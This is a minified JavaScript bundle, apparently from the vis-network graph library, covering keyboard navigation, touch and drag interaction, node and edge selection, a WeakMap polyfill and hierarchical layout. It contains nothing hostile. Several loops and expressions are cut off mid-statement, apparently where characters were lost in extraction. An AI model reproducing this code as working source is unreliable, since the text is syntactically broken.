0},o.esc={code:27,shift:!1},o.backspace={code:8,shift:!1},o.tab={code:9,shift:!1},o.ctrl={code:17,shift:!1},o.alt={code:18,shift:!1},o.delete={code:46,shift:!1},o.pageup={code:33,shift:!1},o.pagedown={code:34,shift:!1},o["="]={code:187,shift:!1},o["-"]={code:189,shift:!1},o["]"]={code:221,shift:!1},o["["]={code:219,shift:!1};var a=function(h){u(h,"keydown")},l=function(h){u(h,"keyup")},u=function(h,p){if(C[p][h.keyCode]!==void 0){for(var m=C[p][h.keyCode],v=0;v{this.activated=!0,this.configureKeyboardBindings()}),this.body.emitter.on("deactivate",()=>{this.activated=!1,this.configureKeyboardBindings()}),this.body.emitter.on("destroy",()=>{this.keycharm!==void 0&&this.keycharm.destroy()}),this.options={}}setOptions(e){e!==void 0&&(this.options=e,this.create())}create(){this.options.navigationButtons===!0?this.iconsCreated===!1&&this.loadNavigationElements():this.iconsCreated===!0&&this.cleanNavigation(),this.configureKeyboardBindings()}cleanNavigation(){if(this.navigationHammers.length!=0){for(let e=0;e{this._stopMovement()}),this.navigationHammers.push(o),this.iconsCreated=!0}bindToRedraw(e){if(this.boundFunctions[e]===void 0){var t;this.boundFunctions[e]=X(t=this[e]).call(t,this),this.body.emitter.on("initRedraw",this.boundFunctions[e]),this.body.emitter.emit("_startRendering")}}unbindFromRedraw(e){this.boundFunctions[e]!==void 0&&(this.body.emitter.off("initRedraw",this.boundFunctions[e]),this.body.emitter.emit("_stopRendering"),delete this.boundFunctions[e])}_fit(){new Date().valueOf()-this.touchTime>700&&(this.body.emitter.emit("fit",{duration:700}),this.touchTime=new Date().valueOf())}_stopMovement(){for(const e in this.boundFunctions)Object.prototype.hasOwnProperty.call(this.boundFunctions,e)&&(this.body.emitter.off("initRedraw",this.boundFunctions[e]),this.body.emitter.emit("_stopRendering"));this.boundFunctions={}}_moveUp(){this.body.view.translation.y+=this.options.keyboard.speed.y}_moveDown(){this.body.view.translation.y-=this.options.keyboard.speed.y}_moveLeft(){this.body.view.translation.x+=this.options.keyboard.speed.x}_moveRight(){this.body.view.translation.x-=this.options.keyboard.speed.x}_zoomIn(){const e=this.body.view.scale,t=this.body.view.scale*(1+this.options.keyboard.speed.zoom),i=this.body.view.translation,C=t/e,o=(1-C)*this.canvas.canvasViewCenter.x+i.x*C,s=(1-C)*this.canvas.canvasViewCenter.y+i.y*C;this.body.view.scale=t,this.body.view.translation={x:o,y:s},this.body.emitter.emit("zoom",{direction:"+",scale:this.body.view.scale,pointer:null})}_zoomOut(){const e=this.body.view.scale,t=this.body.view.scale/(1+this.options.keyboard.speed.zoom),i=this.body.view.translation,C=t/e,o=(1-C)*this.canvas.canvasViewCenter.x+i.x*C,s=(1-C)*this.canvas.canvasViewCenter.y+i.y*C;this.body.view.scale=t,this.body.view.translation={x:o,y:s},this.body.emitter.emit("zoom",{direction:"-",scale:this.body.view.scale,pointer:null})}configureKeyboardBindings(){if(this.keycharm!==void 0&&this.keycharm.destroy(),this.options.keyboard.enabled===!0&&(this.options.keyboard.bindToWindow===!0?this.keycharm=rw({container:window,preventDefault:!0}):this.keycharm=rw({container:this.canvas.frame,preventDefault:!0}),this.keycharm.reset(),this.activated===!0)){var e,t,i,C,o,s,a,l,u,h,p,m,v,w,N,x,D,k,V,L,Q,ne,J,le;X(e=this.keycharm).call(e,"up",()=>{this.bindToRedraw("_moveUp")},"keydown"),X(t=this.keycharm).call(t,"down",()=>{this.bindToRedraw("_moveDown")},"keydown"),X(i=this.keycharm).call(i,"left",()=>{this.bindToRedraw("_moveLeft")},"keydown"),X(C=this.keycharm).call(C,"right",()=>{this.bindToRedraw("_moveRight")},"keydown"),X(o=this.keycharm).call(o,"=",()=>{this.bindToRedraw("_zoomIn")},"keydown"),X(s=this.keycharm).call(s,"num+",()=>{this.bindToRedraw("_zoomIn")},"keydown"),X(a=this.keycharm).call(a,"num-",()=>{this.bindToRedraw("_zoomOut")},"keydown"),X(l=this.keycharm).call(l,"-",()=>{this.bindToRedraw("_zoomOut")},"keydown"),X(u=this.keycharm).call(u,"[",()=>{this.bindToRedraw("_zoomOut")},"keydown"),X(h=this.keycharm).call(h,"]",()=>{this.bindToRedraw("_zoomIn")},"keydown"),X(p=this.keycharm).call(p,"pageup",()=>{this.bindToRedraw("_zoomIn")},"keydown"),X(m=this.keycharm).call(m,"pagedown",()=>{this.bindToRedraw("_zoomOut")},"keydown"),X(v=this.keycharm).call(v,"up",()=>{this.unbindFromRedraw("_moveUp")},"keyup"),X(w=this.keycharm).call(w,"down",()=>{this.unbindFromRedraw("_moveDown")},"keyup"),X(N=this.keycharm).call(N,"left",()=>{this.unbindFromRedraw("_moveLeft")},"keyup"),X(x=this.keycharm).call(x,"right",()=>{this.unbindFromRedraw("_moveRight")},"keyup"),X(D=this.keycharm).call(D,"=",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),X(k=this.keycharm).call(k,"num+",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),X(V=this.keycharm).call(V,"num-",()=>{this.unbindFromRedraw("_zoomOut")},"keyup"),X(L=this.keycharm).call(L,"-",()=>{this.unbindFromRedraw("_zoomOut")},"keyup"),X(Q=this.keycharm).call(Q,"[",()=>{this.unbindFromRedraw("_zoomOut")},"keyup"),X(ne=this.keycharm).call(ne,"]",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),X(J=this.keycharm).call(J,"pageup",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),X(le=this.keycharm).call(le,"pagedown",()=>{this.unbindFromRedraw("_zoomOut")},"keyup")}}}class QK{constructor(e,t,i){var C,o,s,a,l,u,h,p,m,v,w,N,x;this.body=e,this.canvas=t,this.selectionHandler=i,this.navigationHandler=new KK(e,t),this.body.eventListeners.onTap=X(C=this.onTap).call(C,this),this.body.eventListeners.onTouch=X(o=this.onTouch).call(o,this),this.body.eventListeners.onDoubleTap=X(s=this.onDoubleTap).call(s,this),this.body.eventListeners.onHold=X(a=this.onHold).call(a,this),this.body.eventListeners.onDragStart=X(l=this.onDragStart).call(l,this),this.body.eventListeners.onDrag=X(u=this.onDrag).call(u,this),this.body.eventListeners.onDragEnd=X(h=this.onDragEnd).call(h,this),this.body.eventListeners.onMouseWheel=X(p=this.onMouseWheel).call(p,this),this.body.eventListeners.onPinch=X(m=this.onPinch).call(m,this),this.body.eventListeners.onMouseMove=X(v=this.onMouseMove).call(v,this),this.body.eventListeners.onRelease=X(w=this.onRelease).call(w,this),this.body.eventListeners.onContext=X(N=this.onContext).call(N,this),this.touchTime=0,this.drag={},this.pinch={},this.popup=void 0,this.popupObj=void 0,this.popupTimer=void 0,this.body.functions.getPointer=X(x=this.getPointer).call(x,this),this.options={},this.defaultOptions={dragNodes:!0,dragView:!0,hover:!1,keyboard:{enabled:!1,speed:{x:10,y:10,zoom:.02},bindToWindow:!0,autoFocus:!0},navigationButtons:!1,tooltipDelay:300,zoomView:!0,zoomSpeed:1},ht(this.options,this.defaultOptions),this.bindEventListeners()}bindEventListeners(){this.body.emitter.on("destroy",()=>{clearTimeout(this.popupTimer),delete this.body.functions.getPointer})}setOptions(e){e!==void 0&&(Ks(["hideEdgesOnDrag","hideEdgesOnZoom","hideNodesOnDrag","keyboard","multiselect","selectable","selectConnectedEdges"],this.options,e),Dg(this.options,e,"keyboard"),e.tooltip&&(ht(this.options.tooltip,e.tooltip),e.tooltip.color&&(this.options.tooltip.color=Gc(e.tooltip.color)))),this.navigationHandler.setOptions(this.options)}getPointer(e){return{x:e.x-sG(this.canvas.frame.canvas),y:e.y-rG(this.canvas.frame.canvas)}}onTouch(e){new Date().valueOf()-this.touchTime>50&&(this.drag.pointer=this.getPointer(e.center),this.drag.pinched=!1,this.pinch.scale=this.body.view.scale,this.touchTime=new Date().valueOf())}onTap(e){const t=this.getPointer(e.center),i=this.selectionHandler.options.multiselect&&(e.changedPointers[0].ctrlKey||e.changedPointers[0].metaKey);this.checkSelectionChanges(t,i),this.selectionHandler.commitAndEmit(t,e),this.selectionHandler.generateClickEvent("click",e,t)}onDoubleTap(e){const t=this.getPointer(e.center);this.selectionHandler.generateClickEvent("doubleClick",e,t)}onHold(e){const t=this.getPointer(e.center),i=this.selectionHandler.options.multiselect;this.checkSelectionChanges(t,i),this.selectionHandler.commitAndEmit(t,e),this.selectionHandler.generateClickEvent("click",e,t),this.selectionHandler.generateClickEvent("hold",e,t)}onRelease(e){if(new Date().valueOf()-this.touchTime>10){const t=this.getPointer(e.center);this.selectionHandler.generateClickEvent("release",e,t),this.touchTime=new Date().valueOf()}}onContext(e){const t=this.getPointer({x:e.clientX,y:e.clientY});this.selectionHandler.generateClickEvent("oncontext",e,t)}checkSelectionChanges(e){(arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1)===!0?this.selectionHandler.selectAdditionalOnPoint(e):this.selectionHandler.selectOnPoint(e)}_determineDifference(e,t){const i=function(C,o){const s=[];for(let a=0;a{const a=s.node;s.xFixed===!1&&(a.x=this.canvas._XconvertDOMtoCanvas(this.canvas._XconvertCanvasToDOM(s.x)+C)),s.yFixed===!1&&(a.y=this.canvas._YconvertDOMtoCanvas(this.canvas._YconvertCanvasToDOM(s.y)+o))}),this.body.emitter.emit("startSimulation")}else{if(e.srcEvent.shiftKey){if(this.selectionHandler.generateClickEvent("dragging",e,t,void 0,!0),this.drag.pointer===void 0){this.onDragStart(e);return}this.body.selectionBox.position.end={x:this.canvas._XconvertDOMtoCanvas(t.x),y:this.canvas._YconvertDOMtoCanvas(t.y)},this.body.emitter.emit("_requestRedraw")}if(this.options.dragView===!0&&!e.srcEvent.shiftKey){if(this.selectionHandler.generateClickEvent("dragging",e,t,void 0,!0),this.drag.pointer===void 0){this.onDragStart(e);return}const C=t.x-this.drag.pointer.x,o=t.y-this.drag.pointer.y;this.body.view.translation={x:this.drag.translation.x+C,y:this.drag.translation.y+o},this.body.emitter.emit("_requestRedraw")}}}onDragEnd(e){if(this.drag.dragging=!1,this.body.selectionBox.show){var t;this.body.selectionBox.show=!1;const i=this.body.selectionBox.position,C={minX:Math.min(i.start.x,i.end.x),minY:Math.min(i.start.y,i.end.y),maxX:Math.max(i.start.x,i.end.x),maxY:Math.max(i.start.y,i.end.y)},o=Et(t=this.body.nodeIndices).call(t,a=>{const l=this.body.nodes[a];return l.x>=C.minX&&l.x<=C.maxX&&l.y>=C.minY&&l.y<=C.maxY});De(o).call(o,a=>this.selectionHandler.selectObject(this.body.nodes[a]));const s=this.getPointer(e.center);this.selectionHandler.commitAndEmit(s,e),this.selectionHandler.generateClickEvent("dragEnd",e,this.getPointer(e.center),void 0,!0),this.body.emitter.emit("_requestRedraw")}else{const i=this.drag.selection;i&&i.length?(De(i).call(i,function(C){C.node.options.fixed.x=C.xFixed,C.node.options.fixed.y=C.yFixed}),this.selectionHandler.generateClickEvent("dragEnd",e,this.getPointer(e.center)),this.body.emitter.emit("startSimulation")):(this.selectionHandler.generateClickEvent("dragEnd",e,this.getPointer(e.center),void 0,!0),this.body.emitter.emit("_requestRedraw"))}}onPinch(e){const t=this.getPointer(e.center);this.drag.pinched=!0,this.pinch.scale===void 0&&(this.pinch.scale=1);const i=this.pinch.scale*e.scale;this.zoom(i,t)}zoom(e,t){if(this.options.zoomView===!0){const i=this.body.view.scale;e<1e-5&&(e=1e-5),e>10&&(e=10);let C;this.drag!==void 0&&this.drag.dragging===!0&&(C=this.canvas.DOMtoCanvas(this.drag.pointer));const o=this.body.view.translation,s=e/i,a=(1-s)*t.x+o.x*s,l=(1-s)*t.y+o.y*s;if(this.body.view.scale=e,this.body.view.translation={x:a,y:l},C!=null){const u=this.canvas.canvasToDOM(C);this.drag.pointer.x=u.x,this.drag.pointer.y=u.y}this.body.emitter.emit("_requestRedraw"),ithis._checkShowPopup(t),this.options.tooltipDelay))),this.options.hover===!0&&this.selectionHandler.hoverObject(e,t)}_checkShowPopup(e){const t=this.canvas._XconvertDOMtoCanvas(e.x),i=this.canvas._YconvertDOMtoCanvas(e.y),C={left:t,top:i,right:t,bottom:i},o=this.popupObj===void 0?void 0:this.popupObj.id;let s=!1,a="node";if(this.popupObj===void 0){const l=this.body.nodeIndices,u=this.body.nodes;let h;const p=[];for(let m=0;m0&&(this.popupObj=u[p[p.length-1]],s=!0)}if(this.popupObj===void 0&&s===!1){const l=this.body.edgeIndices,u=this.body.edges;let h;const p=[];for(let m=0;m0&&(this.popupObj=u[p[p.length-1]],a="edge")}this.popupObj!==void 0?this.popupObj.id!==o&&(this.popup===void 0&&(this.popup=new yG(this.canvas.frame)),this.popup.popupTargetType=a,this.popup.popupTargetId=this.popupObj.id,this.popup.setPosition(e.x+3,e.y-5),this.popup.setText(this.popupObj.getTitle()),this.popup.show(),this.body.emitter.emit("showPopup",this.popupObj.id)):this.popup!==void 0&&(this.popup.hide(),this.body.emitter.emit("hidePopup"))}_checkHidePopup(e){const t=this.selectionHandler._pointerToPositionObject(e);let i=!1;if(this.popup.popupTargetType==="node"){if(this.body.nodes[this.popup.popupTargetId]!==void 0&&(i=this.body.nodes[this.popup.popupTargetId].isOverlappingWith(t),i===!0)){const C=this.selectionHandler.getNodeAt(e);i=C===void 0?!1:C.id===this.popup.popupTargetId}}else this.selectionHandler.getNodeAt(e)===void 0&&this.body.edges[this.popup.popupTargetId]!==void 0&&(i=this.body.edges[this.popup.popupTargetId].isOverlappingWith(t));i===!1&&(this.popupObj=void 0,this.popup.hide(),this.body.emitter.emit("hidePopup"))}}var XK=Be,aw=$c,sr=qs.getWeakData,WK=qc,qK=vi,JK=DA,yu=Kt,$K=Wc,lw=Wi,cw=Rt,uw=Gn,e7=uw.set,t7=uw.getterFor,g7=lw.find,i7=lw.findIndex,n7=XK([].splice),A7=0,rr=function(n){return n.frozen||(n.frozen=new dw)},dw=function(){this.entries=[]},bu=function(n,e){return g7(n.entries,function(t){return t[0]===e})};dw.prototype={get:function(n){var e=bu(this,n);if(e)return e[1]},has:function(n){return!!bu(this,n)},set:function(n,e){var t=bu(this,n);t?t[1]=e:this.entries.push([n,e])},delete:function(n){var e=i7(this.entries,function(t){return t[0]===n});return~e&&n7(this.entries,e,1),!!~e}};var C7={getConstructor:function(n,e,t,i){var C=n(function(l,u){WK(l,o),e7(l,{type:e,id:A7++,frozen:void 0}),JK(u)||$K(u,l[i],{that:l,AS_ENTRIES:t})}),o=C.prototype,s=t7(e),a=function(l,u,h){var p=s(l),m=sr(qK(u),!0);return m===!0?rr(p).set(u,h):m[p.id]=h,l};return aw(o,{delete:function(l){var u=s(this);if(!yu(l))return!1;var h=sr(l);return h===!0?rr(u).delete(l):h&&cw(h,u.id)&&delete h[u.id]},has:function(u){var h=s(this);if(!yu(u))return!1;var p=sr(u);return p===!0?rr(h).has(u):p&&cw(p,h.id)}}),aw(o,t?{get:function(u){var h=s(this);if(yu(u)){var p=sr(u);return p===!0?rr(h).get(u):p?p[h.id]:void 0}},set:function(u,h){return a(this,u,h)}}:{add:function(u){return a(this,u,!0)}}),C}},I7=Rb,hw=ot,ar=Be,fw=$c,o7=qs,s7=Jc,pw=C7,lr=Kt,cr=Gn.enforce,r7=Ze,a7=Um,XI=Object,l7=Array.isArray,ur=XI.isExtensible,mw=XI.isFrozen,c7=XI.isSealed,vw=XI.freeze,u7=XI.seal,yw={},bw={},d7=!hw.ActiveXObject&&"ActiveXObject"in hw,WI,ww=function(n){return function(){return n(this,arguments.length?arguments[0]:void 0)}},Ew=s7("WeakMap",ww,pw),IC=Ew.prototype,dr=ar(IC.set),h7=function(){return I7&&r7(function(){var n=vw([]);return dr(new Ew,n,1),!mw(n)})};if(a7)if(d7){WI=pw.getConstructor(ww,"WeakMap",!0),o7.enable();var Tw=ar(IC.delete),hr=ar(IC.has),Sw=ar(IC.get);fw(IC,{delete:function(n){if(lr(n)&&!ur(n)){var e=cr(this);return e.frozen||(e.frozen=new WI),Tw(this,n)||e.frozen.delete(n)}return Tw(this,n)},has:function(e){if(lr(e)&&!ur(e)){var t=cr(this);return t.frozen||(t.frozen=new WI),hr(this,e)||t.frozen.has(e)}return hr(this,e)},get:function(e){if(lr(e)&&!ur(e)){var t=cr(this);return t.frozen||(t.frozen=new WI),hr(this,e)?Sw(this,e):t.frozen.get(e)}return Sw(this,e)},set:function(e,t){if(lr(e)&&!ur(e)){var i=cr(this);i.frozen||(i.frozen=new WI),hr(this,e)?dr(this,e,t):i.frozen.set(e,t)}else dr(this,e,t);return this}})}else h7()&&fw(IC,{set:function(e,t){var i;return l7(e)&&(mw(e)?i=yw:c7(e)&&(i=bw)),dr(this,e,t),i===yw&&vw(e),i===bw&&u7(e),this}});var f7=Le,p7=f7.WeakMap,m7=p7,v7=m7,y7=v7,qI=re(y7);function Je(n,e,t,i){if(typeof e=="function"?n!==e||!i:!e.has(n))throw new TypeError("Cannot read private member from an object whose class did not declare it");return t==="m"?i:t==="a"?i.call(n):i?i.value:e.get(n)}function wu(n,e,t,i,C){if(typeof e=="function"?n!==e||!0:!e.has(n))throw new TypeError("Cannot write private member to an object whose class did not declare it");return e.set(n,t),t}typeof SuppressedError=="function"&&SuppressedError;var iA,zg,rn,an,fr;function Ow(n,e){const t=new qg;for(const i of e)n.has(i)||t.add(i);return t}class xw{constructor(){iA.set(this,new qg),zg.set(this,new qg)}get size(){return Je(this,zg,"f").size}add(){for(var e=arguments.length,t=new Array(e),i=0;i0&&arguments[0]!==void 0?arguments[0]:()=>{};rn.set(this,new xw),an.set(this,new xw),fr.set(this,void 0),wu(this,fr,e)}get sizeNodes(){return Je(this,rn,"f").size}get sizeEdges(){return Je(this,an,"f").size}getNodes(){return Je(this,rn,"f").getSelection()}getEdges(){return Je(this,an,"f").getSelection()}addNodes(){Je(this,rn,"f").add(...arguments)}addEdges(){Je(this,an,"f").add(...arguments)}deleteNodes(e){Je(this,rn,"f").delete(e)}deleteEdges(e){Je(this,an,"f").delete(e)}clear(){Je(this,rn,"f").clear(),Je(this,an,"f").clear()}commit(){const e={nodes:Je(this,rn,"f").commit(),edges:Je(this,an,"f").commit()};for(var t=arguments.length,i=new Array(t),C=0;C{this.updateSelection()})}setOptions(e){e!==void 0&&JA(["multiselect","hoverConnectedEdges","selectable","selectConnectedEdges"],this.options,e)}selectOnPoint(e){let t=!1;if(this.options.selectable===!0){const i=this.getNodeAt(e)||this.getEdgeAt(e);this.unselectAll(),i!==void 0&&(t=this.selectObject(i)),this.body.emitter.emit("_requestRedraw")}return t}selectAdditionalOnPoint(e){let t=!1;if(this.options.selectable===!0){const i=this.getNodeAt(e)||this.getEdgeAt(e);i!==void 0&&(t=!0,i.isSelected()===!0?this.deselectObject(i):this.selectObject(i),this.body.emitter.emit("_requestRedraw"))}return t}_initBaseEvent(e,t){const i={};return i.pointer={DOM:{x:t.x,y:t.y},canvas:this.canvas.DOMtoCanvas(t)},i.event=e,i}generateClickEvent(e,t,i,C){let o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!1;const s=this._initBaseEvent(t,i);if(o===!0)s.nodes=[],s.edges=[];else{const a=this.getSelection();s.nodes=a.nodes,s.edges=a.edges}C!==void 0&&(s.previousSelection=C),e=="click"&&(s.items=this.getClickedItems(i)),t.controlEdge!==void 0&&(s.controlEdge=t.controlEdge),this.body.emitter.emit(e,s)}selectObject(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.options.selectConnectedEdges;return e!==void 0?(e instanceof it?(t===!0&&this._selectionAccumulator.addEdges(...e.edges),this._selectionAccumulator.addNodes(e)):this._selectionAccumulator.addEdges(e),!0):!1}deselectObject(e){e.isSelected()===!0&&(e.selected=!1,this._removeFromSelection(e))}_getAllNodesOverlappingWith(e){const t=[],i=this.body.nodes;for(let C=0;C1&&arguments[1]!==void 0?arguments[1]:!0;const i=this._pointerToPositionObject(e),C=this._getAllNodesOverlappingWith(i);if(C.length>0)return t===!0?this.body.nodes[C[C.length-1]]:C[C.length-1]}_getEdgesOverlappingWith(e,t){const i=this.body.edges;for(let C=0;C1&&arguments[1]!==void 0?arguments[1]:!0;const i=this.canvas.DOMtoCanvas(e);let C=10,o=null;const s=this.body.edges;for(let a=0;a0&&(this.generateClickEvent("deselectEdge",t,e,o),i=!0),C.nodes.deleted.length>0&&(this.generateClickEvent("deselectNode",t,e,o),i=!0),C.nodes.added.length>0&&(this.generateClickEvent("selectNode",t,e),i=!0),C.edges.added.length>0&&(this.generateClickEvent("selectEdge",t,e),i=!0),i===!0&&this.generateClickEvent("select",t,e)}getSelection(){return{nodes:this.getSelectedNodeIds(),edges:this.getSelectedEdgeIds()}}getSelectedNodes(){return this._selectionAccumulator.getNodes()}getSelectedEdges(){return this._selectionAccumulator.getEdges()}getSelectedNodeIds(){var e;return jt(e=this._selectionAccumulator.getNodes()).call(e,t=>t.id)}getSelectedEdgeIds(){var e;return jt(e=this._selectionAccumulator.getEdges()).call(e,t=>t.id)}setSelection(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(!e||!e.nodes&&!e.edges)throw new TypeError("Selection must be an object with nodes and/or edges properties");if((t.unselectAll||t.unselectAll===void 0)&&this.unselectAll(),e.nodes)for(const i of e.nodes){const C=this.body.nodes[i];if(!C)throw new RangeError('Node with id "'+i+'" not found');this.selectObject(C,t.highlightEdges)}if(e.edges)for(const i of e.edges){const C=this.body.edges[i];if(!C)throw new RangeError('Edge with id "'+i+'" not found');this.selectObject(C)}this.body.emitter.emit("_requestRedraw"),this._selectionAccumulator.commit()}selectNodes(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(!e||e.length===void 0)throw"Selection must be an array with ids";this.setSelection({nodes:e},{highlightEdges:t})}selectEdges(e){if(!e||e.length===void 0)throw"Selection must be an array with ids";this.setSelection({edges:e})}updateSelection(){for(const e in this._selectionAccumulator.getNodes())Object.prototype.hasOwnProperty.call(this.body.nodes,e.id)||this._selectionAccumulator.deleteNodes(e);for(const e in this._selectionAccumulator.getEdges())Object.prototype.hasOwnProperty.call(this.body.edges,e.id)||this._selectionAccumulator.deleteEdges(e)}getClickedItems(e){const t=this.canvas.DOMtoCanvas(e),i=[],C=this.body.nodeIndices,o=this.body.nodes;for(let l=C.length-1;l>=0;l--){const h=o[C[l]].getItemsOnPoint(t);i.push.apply(i,h)}const s=this.body.edgeIndices,a=this.body.edges;for(let l=s.length-1;l>=0;l--){const h=a[s[l]].getItemsOnPoint(t);i.push.apply(i,h)}return i}}class Nw{abstract(){throw new Error("Can't instantiate abstract class!")}fake_use(){}curveType(){return this.abstract()}getPosition(e){return this.fake_use(e),this.abstract()}setPosition(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:void 0;this.fake_use(e,t,i),this.abstract()}getTreeSize(e){return this.fake_use(e),this.abstract()}sort(e){this.fake_use(e),this.abstract()}fix(e,t){this.fake_use(e,t),this.abstract()}shift(e,t){this.fake_use(e,t),this.abstract()}}class E7 extends Nw{constructor(e){super(),this.layout=e}curveType(){return"horizontal"}getPosition(e){return e.x}setPosition(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:void 0;i!==void 0&&this.layout.hierarchical.addToOrdering(e,i),e.x=t}getTreeSize(e){const t=this.layout.hierarchical.getTreeSize(this.layout.body.nodes,e);return{min:t.min_x,max:t.max_x}}sort(e){xi(e).call(e,function(t,i){return t.x-i.x})}fix(e,t){e.y=this.layout.options.hierarchical.levelSeparation*t,e.options.fixed.y=!0}shift(e,t){this.layout.body.nodes[e].x+=t}}class T7 extends Nw{constructor(e){super(),this.layout=e}curveType(){return"vertical"}getPosition(e){return e.y}setPosition(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:void 0;i!==void 0&&this.layout.hierarchical.addToOrdering(e,i),e.y=t}getTreeSize(e){const t=this.layout.hierarchical.getTreeSize(this.layout.body.nodes,e);return{min:t.min_y,max:t.max_y}}sort(e){xi(e).call(e,function(t,i){return t.y-i.y})}fix(e,t){e.x=this.layout.options.hierarchical.levelSeparation*t,e.options.fixed.x=!0}shift(e,t){this.layout.body.nodes[e].y+=t}}var S7=ue,O7=Wi.every,x7=VA,N7=x7("every");S7({target:"Array",proto:!0,forced:!N7},{every:function(e){return O7(this,e,arguments.length>1?arguments[1]:void 0)}});var D7=wt,z7=D7("Array").every,R7=st,M7=z7,Eu=Array.prototype,_7=function(n){var e=n.every;return n===Eu||R7(Eu,n)&&e===Eu.every?M7:e},k7=_7,Z7=k7,B7=Z7,Dw=re(B7);function P7(n,e){const t=new qg;return De(n).call(n,i=>{var C;De(C=i.edges).call(C,o=>{o.connected&&t.add(o)})}),De(t).call(t,i=>{const C=i.from.id,o=i.to.id;e[C]==null&&(e[C]=0),(e[o]==null||e[C]>=e[o])&&(e[o]=e[C]+1)}),e}function j7(n){return zw(e=>{var t,i;return Dw(t=Et(i=e.edges).call(i,C=>n.has(C.toId))).call(t,C=>C.to===e)},(e,t)=>t>e,"from",n)}function L7(n){return zw(e=>{var t,i;return Dw(t=Et(i=e.edges).call(i,C=>n.has(C.toId))).call(t,C=>C.from===e)},(e,t)=>tp+1+m.edges.length,0),a=t+"Id",l=t==="to"?1:-1;for(const[p,m]of i){if(!i.has(p)||!n(m))continue;o[p]=0;const v=[m];let w=0,N;for(;N=v.pop();){var u,h;if(!i.has(p))continue;const x=o[N.id]+l;if(De(u=Et(h=N.edges).call(h,D=>D.connected&&D.to!==D.from&&D[t]!==N&&i.has(D.toId)&&i.has(D.fromId))).call(u,D=>{const k=D[a],V=o[k];(V==null||e(x,V))&&(o[k]=x,v.push(D[t]))}),w>s)return P7(i,o);++w}}return o}class G7{constructor(){this.childrenReference={},this.parentReference={},this.trees={},this.distributionOrdering={},this.levels={},this.distributionIndex={},this.isTree=!1,this.treeIndex=-1}addRelation(e,t){this.childrenReference[e]===void 0&&(this.childrenReference[e]=[]),this.childrenReference[e].push(t),this.parentReference[t]===void 0&&(this.parentReference[t]=[]),this.parentReference[t].push(e)}checkIfTree(){for(const e in this.parentReference)if(this.parentReference[e].length>1){this.isTree=!1;return}this.isTree=!0}numTrees(){return this.treeIndex+1}setTreeIndex(e,t){t!==void 0&&this.trees[e.id]===void 0&&(this.trees[e.id]=t,this.treeIndex=Math.max(t,this.treeIndex))}ensureLevel(e){this.levels[e]===void 0&&(this.levels[e]=0)}getMaxLevel(e){const t={},i=C=>{if(t[C]!==void 0)return t[C];let o=this.levels[C];if(this.childrenReference[C]){const s=this.childrenReference[C];if(s.length>0)for(let a=0;ao-s);for(const o of C)t.set(o,i++);for(const o in this.levels)Object.prototype.hasOwnProperty.call(this.levels,o)&&(this.levels[o]=t.get(this.levels[o]))}getTreeSize(e,t){let i=1e9,C=-1e9,o=1e9,s=-1e9;for(const a in this.trees)if(Object.prototype.hasOwnProperty.call(this.trees,a)&&this.trees[a]===t){const l=e[a];i=Math.min(l.x,i),C=Math.max(l.x,C),o=Math.min(l.y,o),s=Math.max(l.y,s)}return{min_x:i,max_x:C,min_y:o,max_y:s}}hasSameParent(e,t){const i=this.parentReference[e.id],C=this.parentReference[t.id];if(i===void 0||C===void 0)return!1;for(let o=0;o{this.setupHierarchicalLayout()}),this.body.emitter.on("_dataLoaded",()=>{this.layoutNetwork()}),this.body.emitter.on("_resetHierarchicalLayout",()=>{this.setupHierarchicalLayout()}),this.body.emitter.on("_adjustEdgesForHierarchicalLayout",()=>{if(this.options.hierarchical.enabled!==!0)return;const e=this.direction.curveType();this.body.emitter.emit("_forceDisableDynamicCurves",e,!1)})}setOptions(e,t){if(e!==void 0){const i=this.options.hierarchical,C=i.enabled;if(JA(["randomSeed","improvedLayout","clusterThreshold"],this.options,e),Dg(this.options,e,"hierarchical"),e.randomSeed!==void 0&&this._resetRNG(e.randomSeed),i.enabled===!0)return C===!0&&this.body.emitter.emit("refresh",!0),i.direction==="RL"||i.direction==="DU"?i.levelSeparation>0&&(i.levelSeparation*=-1):i.levelSeparation<0&&(i.levelSeparation*=-1),this.setDirectionStrategy(),this.body.emitter.emit("_resetHierarchicalLayout"),this.adaptAllOptionsForHierarchicalLayout(t);if(C===!0)return this.body.emitter.emit("refresh"),We(t,this.optionsBackup)}return t}_resetRNG(e){this.initialRandomSeed=e,this._rng=Hs(this.initialRandomSeed)}adaptAllOptionsForHierarchicalLayout(e){if(this.options.hierarchical.enabled===!0){const t=this.optionsBackup.physics;e.physics===void 0||e.physics===!0?(e.physics={enabled:t.enabled===void 0?!0:t.enabled,solver:"hierarchicalRepulsion"},t.enabled=t.enabled===void 0?!0:t.enabled,t.solver=t.solver||"barnesHut"):typeof e.physics=="object"?(t.enabled=e.physics.enabled===void 0?!0:e.physics.enabled,t.solver=e.physics.solver||"barnesHut",e.physics.solver="hierarchicalRepulsion"):e.physics!==!1&&(t.solver="barnesHut",e.physics={solver:"hierarchicalRepulsion"});let i=this.direction.curveType();if(e.edges===void 0)this.optionsBackup.edges={smooth:{enabled:!0,type:"dynamic"}},e.edges={smooth:!1};else if(e.edges.smooth===void 0)this.optionsBackup.edges={smooth:{enabled:!0,type:"dynamic"}},e.edges.smooth=!1;else if(typeof e.edges.smooth=="boolean")this.optionsBackup.edges={smooth:e.edges.smooth},e.edges.smooth={enabled:e.edges.smooth,type:i};else{const C=e.edges.smooth;C.type!==void 0&&C.type!=="dynamic"&&(i=C.type),this.optionsBackup.edges={smooth:{enabled:C.enabled===void 0?!0:C.enabled,type:C.type===void 0?"dynamic":C.type,roundness:C.roundness===void 0?.5:C.roundness,forceDirection:C.forceDirection===void 0?!1:C.forceDirection}},e.edges.smooth={enabled:C.enabled===void 0?!0:C.enabled,type:i,roundness:C.roundness===void 0?.5:C.roundness,forceDirection:C.forceDirection===void 0?!1:C.forceDirection}}this.body.emitter.emit("_forceDisableDynamicCurves",i)}return 